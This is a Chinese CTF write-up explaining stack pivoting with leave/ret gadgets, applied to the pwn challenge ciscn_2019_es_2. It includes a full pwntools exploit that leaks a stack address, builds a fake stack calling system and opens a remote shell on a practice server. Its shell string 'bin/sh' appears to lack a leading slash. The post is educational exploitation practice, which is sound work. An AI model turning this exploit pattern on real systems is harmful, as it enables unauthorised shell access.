栈迁移(ciscn_2019_es_2)

参考:栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)(这篇写的及其详细)

适用场景

当栈上的空间,或者程序的输入字符数量不够我们进行溢出操作的时候,可以进行栈迁移。比如一般栈溢出的题目都会有一个字符串数组,当程序在读入我们的输入的时候将读取的字符数量写死的时候,可能我们就没有足够的空间去填入 ROP 链。

概述

栈迁移顾名思义就是将原来的程序栈迁移到另一个地方,使得我们可以将构造的 ROP 链完整的填入。
那么想要修改栈的位置,那么就需要修改寄存器 esp 和 ebp 的值。
想要修改 esp 和 ebp 的值,我们需要用到 leaveret 两个 gadget。

原理

leave & ret

leave 命令由两句汇编指令组成:mov esp, ebppop ebp
它将 ebp 的值交给 esp,然后将栈顶的值弹给 ebp。操作结束后 esp 的值是 old ebp+4,ebp 的值是*old ebp
ret 命令是 pop rip
将栈顶的值弹给 rip

两次 leave&ret

我们可以看到 leave 命令可以修改 esp 和 ebp 寄存器,但是只用一次 leave 是无法同时修改 esp 和 ebp 的。因为当我们将栈上的数据覆盖后,执行 leave,只能将栈上的数据 pop 给 ebp,而 esp 没有办法修改。所以我们需要进行两次 leave。

  • 首先我们对栈进行覆盖,将此时 ebp 指向的位置(也就是上一个栈帧的 ebp)覆盖为栈迁移的目的地址 a(未来 esp 中的值),return 位置覆盖为 leave&ret 的地址。
  • 然后程序开始执行,因为当前函数执行结束时本来就要执行一个 leave&ret,所以进行mov esp, ebppop ebp,此时 esp 中的值正常,ebp 的值变为目标地址 a(因为将栈上的地址弹到 ebp 了)
  • 接着执行 ret(pop rip),因为此时 return 的值被我们覆盖为 leave&ret 的地址,所以程序会再次执行一次 leave&ret。leave 执行结束后,esp 中的值是目标地址 a+4(因为还 pop ebp 了一次),ebp 的值无所谓。接着执行 ret,执行结束后 rip 的值是目标地址 a+4 中的值。
  • 迁移成功。

此时,可能就会存在疑问,所以呢?迁移结束了又能怎样。实际上栈迁移只是我们攻击的一个步骤,目的就是将程序的执行流劫持到目标地址 a 处(在上面的步骤中实际上应该是 a+4 处,但是我只是说这么个意思,无伤大雅)。在栈迁移之前,我们已经将目标地址处覆盖为了我们要执行的代码的地址,并且构造了 ROP 链,这样就可以实现我们的攻击了。

例题

ciscn_2019_es_2
image.png
这个题的 read 函数写死了读入 0x30 个字符,我们可以看到变量 s 距离 ebp 是 0x28 个字节,所以按照普通的方法,我们构造 payload 是 (0x28 + 4) * ‘a’ + ret_addr,这已经 0x30 个字符了,根本不够用。
所以我们考虑栈迁移

step 1 寻找目标地址

我们要确定目标地址是哪里,这个题中我们可以将 s 作为目标地址。那么我们需要知道 s 确切的地址。
如何获得 s 的地址呢,我们观察一下 vlu 函数的栈:

  • 打开 gdb,在 main 函数处下断点,找一下 vul 函数的地址
    • image.png
  • 在 vul 函数处下断点,然后单步步入,进入函数 vul
    • image.png
    • 查看一下 vul 的汇编 image.png
  • 因为我们想要知道 s 的地址,所以我们先输入字符‘aaaa’,然后看看栈中的情况
    • 在 printf 函数前打个断点,因为要先执行一个 read 函数输入‘aaaa’
    • image.png
    • 我们观察栈中的情况,eax 和 ecx 指向的地方就是 s 的地址,但是这个地址是我们本地地址,你要打远程主机不能用这个。所以我们要想方法暴露一个栈上的地址 x,然后算 x 和 s 的偏移 y,那么 s 的地址就是 x+y。
    • 我们可以看到 ebp 指向的地方存了一个地址 0xffffd 008,这是上一个栈帧的 ebp,它距离 s 的地址的偏移是 56。那么如果可以将它暴露,就可以求得 s 的地址了。
  • 程序中有 printf 函数,该函数在未遇到终止符 '\0’时会一直输出,那么我们可以利用 printf 将栈上的值输出,得到 ebp 指向的值。
from pwn import *

p = remote("node4.buuoj.cn", 26588)

payload1 = b'a' * 0x27 + b'b'
p.send(payload1) # sendline会有终止符
p.recvuntil('b')
s_addr = u32(p.recv(4)) - 56
print(hex(s_addr))

image.png

step 2 构造 payload

要实现栈迁移,只要把 ebp 和 return 位置覆盖为目标地址和 leave&ret 地址就 ok 了。那么迁移后的 fake 栈上应该如何布局呢。
程序中有 system 函数,但是没有 bin/sh 字符串。那么 fake 栈应该这样布局:
system_addr + fake_ret + bin_sh_addr + bin_sh_str
综上所述,最终的 payload 应该是
‘aaaa’ + system_addr + fake_ret + bin_sh_addr + bin_sh_str + padding + s_addr + leave&ret_addr
最前面的 4 个字节的 aaaa 是为了抵消掉 leave 指令中 pop ebp 导致的 esp 上移,中间的 padding 是为了补全 0x28 个字节。
完整的 exp:

from pwn import *

p = remote("node4.buuoj.cn", 26588)
payload1 = b'a' * 0x27 + b'b'
p.send(payload1) # sendline会有终止符
p.recvuntil('b')
s_addr = u32(p.recv(4)) - 56
print('s_addr: ', hex(s_addr))

system_addr = 0x08048400
leave_ret = 0x080484b8

payload2 = b'aaaa' + p32(system_addr) + b'aaaa'
payload2  = payload2 + p32(s_addr + 0x10)
payload2 = payload2 + b'bin/sh\x00'
payload2 = payload2.ljust(0x28, b'a')
payload2 = payload2 + p32(s_addr) + p32(leave_ret)

p.sendline(payload2)
p.interactive()

注意 payload2 中 bin/sh 字符串要加终止符

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值